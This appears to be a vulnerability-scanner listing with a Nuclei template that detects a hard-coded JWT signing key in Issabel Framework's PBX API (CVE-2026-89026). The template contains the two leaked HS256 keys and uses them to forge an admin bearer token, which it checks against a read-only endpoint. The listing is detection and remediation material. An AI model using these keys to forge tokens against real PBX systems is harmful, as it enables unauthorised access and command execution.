Issabel Framework - Hard-Coded PBX API JWT Key

criticalseverity

9.3CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Issabel Framework before commit b97dbaf uses a shared HS256 key for PBX API bearer tokens. This template uses the read-only AMI ExtensionState action to check whether the PBX API accepts a short-lived token signed with either the vulnerable upstream-source key or the key in the 5.0.0-2 RPM, after rejecting an unrelated key.

Impact

Unauthenticated attackers can execute arbitrary OS commands as the Asterisk user, potentially compromising the system.

Fix

Update to the version after commit b97dbaf or latest available version.

How to confirm it

Send: GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal
Positive when: status_code == 403
Send: GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal
Positive when: contains_all(body, '"Response":"Success"', '"Message":"Extension Status"', '"Exten":"1000"') and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-89026 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-89026

info:
  name: Issabel Framework - Hard-Coded PBX API JWT Key
  author: alex
  severity: critical
  description: |
    Issabel Framework before commit b97dbaf uses a shared HS256 key for PBX API bearer tokens. This template uses the read-only AMI ExtensionState action to check whether the PBX API accepts a short-lived token signed with either the vulnerable upstream-source key or the key in the 5.0.0-2 RPM, after rejecting an unrelated key.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands as the Asterisk user, potentially compromising the system.
  remediation: |
    Update to the version after commit b97dbaf or latest available version.
  reference:
    - https://github.com/IssabelFoundation/framework/commit/b97dbaf0b71c1c36f841e672b664afbeb02773bd
    - https://github.com/IssabelFoundation/firstboot/commit/74b28cab9a35
    - https://www.vulncheck.com/advisories/issabel-pbx-hard-coded-jwt-key-rce-via-pbxapi-manager-originate
    - https://nvd.nist.gov/vuln/detail/CVE-2026-89026
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-89026
    epss-score: 0.02699
    epss-percentile: 0.86047
    cwe-id: CWE-321
  metadata:
    max-request: 3
    vendor: issabel
    product: framework
  tags: cve,cve2026,issabel,pbx,jwt,auth-bypass,vuln,vkev

flow: http(1) && http(2)

variables:
  access_claims: '{"data":{"name":"admin"}}'
  control_key: "unrelated-lab-control-key-for-jwt-differential"

http:
  - raw:
      - |
        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{generate_jwt(access_claims,"HS256",control_key,unix_time(120))}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - status_code == 403
        internal: true

  - raw:
      - |
        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{generate_jwt(access_claims,"HS256",key,unix_time(120))}}
        Accept: application/json

    payloads:
      key:
        - "da893kasdfam43k29akdkfaFFlsdfhj23rasdf"
        - "YjViOTcxMWMzMDc5M2RkNDdiYTNkZDk1YTgyYjNjYzdhNTkwNTUwODk2MjU1YTE0"
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, '"Response":"Success"', '"Message":"Extension Status"', '"Exten":"1000"')
          - contains(content_type, "application/json")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from